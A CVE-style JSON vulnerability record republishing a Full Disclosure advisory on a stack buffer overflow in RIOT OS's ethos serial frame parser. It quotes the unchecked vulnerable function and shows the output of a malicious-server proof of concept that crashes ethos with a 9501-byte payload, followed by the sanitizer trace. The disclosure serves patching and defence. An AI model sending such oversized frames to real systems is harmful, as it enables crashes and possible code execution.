GCVE-1988-2026-0316

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "RIOT OS",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Ron E"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "A stack-based buffer overflow vulnerability exists in the RIOT OS ethos\nutility due to missing bounds checking when processing incoming serial\nframe data. The vulnerability occurs in the _handle_char() function, where\nincoming frame bytes are appended to a fixed-size stack buffer\n(serial->frame) without verifying that the current write index\n(serial->framebytes) remains within bounds. An attacker capable of sending\ncrafted serial or TCP-framed input can cause serial->framebytes to exceed\nthe buffer size (MTU, 9000 bytes), resulting in a write past the end of the\nstack buffer. This condition leads to memory corruption, application crash,\nand potentially arbitrary code execution depending on compiler options and\nruntime protections.\n\n\n*Vulnerable Code:*\nstatic void _handle_char(serial_t *serial, char c)\n{\n    serial->frame[serial->framebytes] = c;\n    serial->framebytes++;\n}\n\n*Root Cause:*\n\n* serial->frame is a fixed-size stack buffer (char frame[MTU])\n* serial->framebytes is unbounded and attacker-controlled\n* No validation against MTU before writing\n\n\n\n*Proof of Concept:*\n\n\n*listener:*# python3 payload.py\n\nThis exploit acts as a MALICIOUS SERVER.\nRun ethos like: ./ethos tap0 tcp:127.0.0.1 20000\nThe exploit will send the payload when ethos connects.\n\n\n[*] Starting malicious server on 0.0.0.0:20000\n[*] Architecture: aarch64\n[*] Exploitation mode: crash\n\n[+] Server listening on 0.0.0.0:20000\n\n[!] Waiting for ethos to connect...\n[*] Run ethos like this:\n  ./ethos tap0 tcp:127.0.0.1 20000\n\n[+] ethos client connected from ('127.0.0.1', 37114)\n[*] Generating crash payload...\n[+] Crash payload ready: 9501 bytes\n[*] Waiting 1 second before sending payload...\n[*] Sending malicious payload (9501 bytes)...\n[*] Sent 1024/9501 bytes...\n[*] Sent 2048/9501 bytes...\n[*] Sent 3072/9501 bytes...\n[*] Sent 4096/9501 bytes...\n[*] Sent 5120/9501 bytes...\n[*] Sent 6144/9501 bytes...\n[*] Sent 7168/9501 bytes...\n[*] Sent 8192/9501 bytes...\n[*] Sent 9216/9501 bytes...\n[*] Sent 9501/9501 bytes...\n[+] Payload sent successfully!\n[!] ethos client should crash now (check for ASAN output)\n[*] Received response:\nb'~}\"\\x00\\x00\\x00\\x00\\x00\\x00~~}\"\\x00\\x00\\x00\\x00\\x00\\x00~'\n[*] Connection from ('127.0.0.1', 37114) closed\n\n\n\n*Connection:*\n./ethos tap0 tcp:127.0.0.1 20000\n\n\n\n*Output:*----> ethos: sending hello.\n----> ethos: activating serial pass through.\nethos.c:186:5: runtime error: index 9000 out of bounds for type 'char[9000]'\nSUMMARY: UndefinedBehaviorSanitizer: undefined-behavior ethos.c:186:5\n=================================================================\n==1375066==ERROR: AddressSanitizer: stack-buffer-overflow on address\n0xfbff8f804848 at pc 0xaaaae0b9fad0 bp 0xffffece78420 sp 0xffffece78418\nWRITE of size 1 at 0xfbff8f804848 thread T0\n    #0 0xaaaae0b9facc in _handle_char\n/root/RIOT/dist/tools/ethos/ethos.c:186:39\n    #1 0xaaaae0b9ed38 in _serial_handle_byte\n/root/RIOT/dist/tools/ethos/ethos.c:216:17\n    #2 0xaaaae0b9ed38 in main /root/RIOT/dist/tools/ethos/ethos.c:559:34\n    #3 0xffff91162598 in __libc_start_call_main\ncsu/../sysdeps/nptl/libc_start_call_main.h:58:16\n    #4 0xffff91162678 in __libc_start_main csu/../csu/libc-start.c:360:3\n    #5 0xaaaae0ab67ec in _start (/root/RIOT/dist/tools/ethos/ethos+0x367ec)\n(BuildId: 4734887eb4858e961729a4e74b8fbfbd73e74d82)\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives & RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T13:42:56Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/16"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jan/16"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jan/16"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "RIOT OS 2026.01-devel-317 Stack-Based Buffer Overflow in RIOT ethos Serial Frame Parser",
      "x_gcve": [
        {
          "recordType": "analysis",
          "relationships": [
            {
              "destId": "CVE-2021-27427",
              "type": "possibly_related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0316",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/16",
            "automated": true,
            "contentSha256": "63267818b090ebf6c24cf8bc4bb438065e200145a28492f0ccdbca2b2dda8293",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jan/16",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-01-10T05:26:58Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-09T13:42:56Z",
    "dateUpdated": "2026-09-09T13:42:56Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0316"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}